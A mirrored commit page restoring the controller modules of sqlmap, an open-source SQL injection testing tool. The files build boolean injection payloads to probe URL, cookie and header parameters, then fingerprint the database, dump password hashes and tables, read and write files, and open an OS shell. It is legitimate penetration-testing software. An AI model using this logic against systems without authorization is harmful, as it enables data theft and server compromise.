mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-07 13:11:29 +00:00
After the storm, a restore..
This commit is contained in:
25
lib/controller/__init__.py
Normal file
25
lib/controller/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
126
lib/controller/action.py
Normal file
126
lib/controller/action.py
Normal file
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: action.py 293 2008-07-28 21:56:52Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
|
||||
|
||||
def action():
|
||||
"""
|
||||
This function exploit the SQL injection on the affected
|
||||
url parameter and extract requested data from the
|
||||
back-end database management system or operating system
|
||||
if possible
|
||||
"""
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
conf.dbmsHandler = setHandler()
|
||||
|
||||
if not conf.dbmsHandler:
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
errMsg += "back-end database management system"
|
||||
|
||||
if htmlParsed:
|
||||
errMsg += ", but from the HTML error page it was "
|
||||
errMsg += "possible to determinate that the "
|
||||
errMsg += "back-end DBMS is %s" % htmlParsed
|
||||
|
||||
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
|
||||
errMsg += ". Do not specify the back-end DBMS manually, "
|
||||
errMsg += "sqlmap will fingerprint the DBMS for you"
|
||||
else:
|
||||
errMsg += ". Support for this DBMS will be implemented if "
|
||||
errMsg += "you ask, just drop us an email"
|
||||
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.unionTest:
|
||||
dumper.string("valid union", unionTest())
|
||||
|
||||
# Enumeration options
|
||||
if conf.getBanner:
|
||||
dumper.string("banner", conf.dbmsHandler.getBanner())
|
||||
|
||||
if conf.getCurrentUser:
|
||||
dumper.string("current user", conf.dbmsHandler.getCurrentUser())
|
||||
|
||||
if conf.getCurrentDb:
|
||||
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
|
||||
|
||||
if conf.getUsers:
|
||||
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
dumper.userSettings("database management system users password hashes",
|
||||
conf.dbmsHandler.getPasswordHashes(), "password hash")
|
||||
|
||||
if conf.getPrivileges:
|
||||
dumper.userSettings("database management system users privileges",
|
||||
conf.dbmsHandler.getPrivileges(), "privilege")
|
||||
|
||||
if conf.getDbs:
|
||||
dumper.lister("available databases", conf.dbmsHandler.getDbs())
|
||||
|
||||
if conf.getTables:
|
||||
dumper.dbTables(conf.dbmsHandler.getTables())
|
||||
|
||||
if conf.getColumns:
|
||||
dumper.dbTableColumns(conf.dbmsHandler.getColumns())
|
||||
|
||||
if conf.dumpTable:
|
||||
dumper.dbTableValues(conf.dbmsHandler.dumpTable())
|
||||
|
||||
if conf.dumpAll:
|
||||
conf.dbmsHandler.dumpAll()
|
||||
|
||||
if conf.query:
|
||||
dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
|
||||
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
|
||||
|
||||
if conf.wFile:
|
||||
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
|
||||
|
||||
# Takeover options
|
||||
if conf.osShell:
|
||||
conf.dbmsHandler.osShell()
|
||||
318
lib/controller/checks.py
Normal file
318
lib/controller/checks.py
Normal file
@@ -0,0 +1,318 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: checks.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.session import setString
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
"""
|
||||
This function checks if the GET, POST, Cookie, User-Agent
|
||||
parameters are affected by a SQL injection vulnerability and
|
||||
identifies the type of SQL injection:
|
||||
|
||||
* Unescaped numeric injection
|
||||
* Single quoted string injection
|
||||
* Double quoted string injection
|
||||
"""
|
||||
|
||||
logMsg = "testing unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "numeric"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "stringsingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "likesingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "stringdouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "likedouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def checkDynParam(place, parameter, value):
|
||||
"""
|
||||
This function checks if the url parameter is dynamic. If it is
|
||||
dynamic, the content of the page differs, otherwise the
|
||||
dynamicity might depend on another parameter.
|
||||
"""
|
||||
|
||||
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
payload = agent.payload(place, parameter, value, str(randInt))
|
||||
dynResult1 = Request.queryPage(payload, place)
|
||||
|
||||
if kb.defaultResult == dynResult1:
|
||||
return False
|
||||
|
||||
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
|
||||
dynResult2 = Request.queryPage(payload, place)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
||||
dynResult3 = Request.queryPage(payload, place)
|
||||
|
||||
condition = kb.defaultResult != dynResult2
|
||||
condition |= kb.defaultResult != dynResult3
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkStability():
|
||||
"""
|
||||
This function checks if the URL content is stable requesting the
|
||||
same page three times with a small delay within each request to
|
||||
assume that it is stable.
|
||||
|
||||
In case the content of the page differs when requesting
|
||||
the same page, the dynamicity might depend on other parameters,
|
||||
like for instance string matching (--string).
|
||||
"""
|
||||
|
||||
logMsg = "testing if the url is stable, wait a few seconds"
|
||||
logger.info(logMsg)
|
||||
|
||||
firstResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
secondResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
thirdResult = Request.queryPage()
|
||||
|
||||
condition = firstResult == secondResult
|
||||
condition &= secondResult == thirdResult
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkString():
|
||||
if not conf.string:
|
||||
return True
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries.has_key(conf.url) and
|
||||
kb.resumedQueries[conf.url].has_key("String") and
|
||||
kb.resumedQueries[conf.url]["String"][:-1] == conf.string
|
||||
)
|
||||
|
||||
if condition:
|
||||
return True
|
||||
|
||||
logMsg = "testing if the provided string is within the "
|
||||
logMsg += "target URL page content"
|
||||
logger.info(logMsg)
|
||||
|
||||
page = Request.queryPage(content=True)
|
||||
|
||||
if conf.string in page:
|
||||
setString()
|
||||
return True
|
||||
else:
|
||||
errMsg = "you provided '%s' as the string to " % conf.string
|
||||
errMsg += "match, but such a string is not within the target "
|
||||
errMsg += "URL page content, please provide another string."
|
||||
logger.error(errMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkConnection():
|
||||
logMsg = "testing connection to the target url"
|
||||
logger.info(logMsg)
|
||||
|
||||
try:
|
||||
kb.defaultResult = Request.queryPage()
|
||||
except sqlmapConnectionException, exceptionMsg:
|
||||
if conf.googleDork:
|
||||
exceptionMsg += ", skipping to next url"
|
||||
logger.warn(exceptionMsg)
|
||||
return False
|
||||
else:
|
||||
raise sqlmapConnectionException, exceptionMsg
|
||||
|
||||
return True
|
||||
242
lib/controller/controller.py
Normal file
242
lib/controller/controller.py
Normal file
@@ -0,0 +1,242 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: controller.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkDynParam
|
||||
from lib.controller.checks import checkStability
|
||||
from lib.controller.checks import checkString
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapNotVulnerableException
|
||||
from lib.core.session import setInjection
|
||||
from lib.core.target import createTargetDirs
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.utils.parenthesis import checkForParenthesis
|
||||
|
||||
|
||||
def __selectInjection(injData):
|
||||
"""
|
||||
Selection function for injection place, parameters and type.
|
||||
"""
|
||||
|
||||
message = "there were multiple injection points, please select the "
|
||||
message += "one to use to go ahead:\n"
|
||||
|
||||
for i in xrange(0, len(injData)):
|
||||
injPlace = injData[i][0]
|
||||
injParameter = injData[i][1]
|
||||
injType = injData[i][2]
|
||||
|
||||
message += "[%d] place: %s, parameter: " % (i, injPlace)
|
||||
message += "%s, type: %s" % (injParameter, injType)
|
||||
|
||||
if i == 0:
|
||||
message += " (default)"
|
||||
|
||||
message += "\n"
|
||||
|
||||
message += "[q] Quit\nChoice: "
|
||||
select = readInput(message, default="0")
|
||||
|
||||
if not select:
|
||||
index = 0
|
||||
|
||||
elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
|
||||
index = int(select)
|
||||
|
||||
elif select[0] in ( "Q", "q" ):
|
||||
return "Quit"
|
||||
|
||||
else:
|
||||
warnMsg = "Invalid choice, retry"
|
||||
logger.warn(warnMsg)
|
||||
__selectInjection(injData)
|
||||
|
||||
return injData[index]
|
||||
|
||||
|
||||
def start():
|
||||
"""
|
||||
This function calls a function that performs checks on both URL
|
||||
stability and all GET, POST, Cookie and User-Agent parameters to
|
||||
check if they are dynamic and SQL injection affected
|
||||
"""
|
||||
|
||||
if conf.url:
|
||||
kb.targetUrls.add(conf.url)
|
||||
|
||||
if conf.configFile and not kb.targetUrls:
|
||||
errMsg = "you did not edit the configuration file properly, set "
|
||||
errMsg += "the target url properly"
|
||||
logger.error(errMsg)
|
||||
|
||||
hostCount = 0
|
||||
injData = []
|
||||
receivedCookies = []
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
for targetUrl in kb.targetUrls:
|
||||
if conf.googleDork:
|
||||
hostCount += 1
|
||||
|
||||
message = "url %d: %s, " % (hostCount, targetUrl)
|
||||
message += "do you want to test this url? [Y/n/q] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if test[0] in ("n", "N"):
|
||||
continue
|
||||
elif test[0] in ("q", "Q"):
|
||||
break
|
||||
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
conf.url = targetUrl
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString():
|
||||
continue
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s;" % cookie[8:index]
|
||||
|
||||
if cookieStr:
|
||||
cookieStr = cookieStr[:-1]
|
||||
|
||||
if "Cookie" in conf.parameters:
|
||||
message = "you provided an HTTP Cookie header value. "
|
||||
message += "The target url provided its own Cookie within "
|
||||
message += "the HTTP Set-Cookie header. Do you want to "
|
||||
message += "continue using the HTTP Cookie values that "
|
||||
message += "you provided? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
setCookieAsInjectable = False
|
||||
|
||||
if setCookieAsInjectable:
|
||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
||||
conf.parameters["Cookie"] = cookieStr
|
||||
__paramDict = paramToDict("Cookie", cookieStr)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if not conf.string:
|
||||
if checkStability():
|
||||
logMsg = "url is stable"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "url is not stable, try with --string option, refer "
|
||||
errMsg += "to the user's manual paragraph 'String match' "
|
||||
errMsg += "for details"
|
||||
|
||||
if conf.googleDork:
|
||||
errMsg += ", skipping to next url"
|
||||
logger.warn(errMsg)
|
||||
|
||||
continue
|
||||
else:
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
for place in conf.parameters.keys():
|
||||
if not conf.paramDict.has_key(place):
|
||||
continue
|
||||
|
||||
paramDict = conf.paramDict[place]
|
||||
|
||||
for parameter, value in paramDict.items():
|
||||
if not checkDynParam(place, parameter, value):
|
||||
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
for parenthesis in range(0, 4):
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s' with " % parameter
|
||||
logMsg += "%d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
injType = checkSqlInjection(place, parameter, value, parenthesis)
|
||||
|
||||
if injType:
|
||||
injData.append((place, parameter, injType))
|
||||
|
||||
break
|
||||
else:
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg += "injectable with %d parenthesis" % parenthesis
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if len(injData) == 1:
|
||||
injDataSelected = injData[0]
|
||||
elif len(injData) > 1:
|
||||
injDataSelected = __selectInjection(injData)
|
||||
else:
|
||||
return
|
||||
|
||||
if injDataSelected == "Quit":
|
||||
return
|
||||
else:
|
||||
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
|
||||
setInjection()
|
||||
|
||||
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||
condition = False
|
||||
|
||||
if conf.googleDork:
|
||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||
exploit = readInput(message, default="Y")
|
||||
|
||||
if not exploit or exploit[0] in ("y", "Y"):
|
||||
condition = True
|
||||
else:
|
||||
condition = True
|
||||
|
||||
if condition:
|
||||
checkForParenthesis()
|
||||
createTargetDirs()
|
||||
action()
|
||||
|
||||
if conf.loggedToOut:
|
||||
logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)
|
||||
71
lib/controller/handler.py
Normal file
71
lib/controller/handler.py
Normal file
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: handler.py 283 2008-07-25 15:16:11Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
Detect which is the target web application back-end database
|
||||
management system.
|
||||
"""
|
||||
|
||||
count = 0
|
||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
|
||||
dbmsMap = (
|
||||
( MYSQL_ALIASES, MySQLMap ),
|
||||
( ORACLE_ALIASES, OracleMap ),
|
||||
( PGSQL_ALIASES, PostgreSQLMap ),
|
||||
( MSSQL_ALIASES, MSSQLServerMap ),
|
||||
)
|
||||
|
||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||
debugMsg = "skipping to test for %s" % dbmsNames[count]
|
||||
logger.debug(debugMsg)
|
||||
count += 1
|
||||
continue
|
||||
|
||||
dbmsHandler = dbmsEntry()
|
||||
|
||||
if dbmsHandler.checkDbms():
|
||||
if not conf.dbms or conf.dbms in dbmsAliases:
|
||||
kb.dbmsDetected = True
|
||||
|
||||
return dbmsHandler
|
||||
|
||||
return None
|
||||
Reference in New Issue
Block a user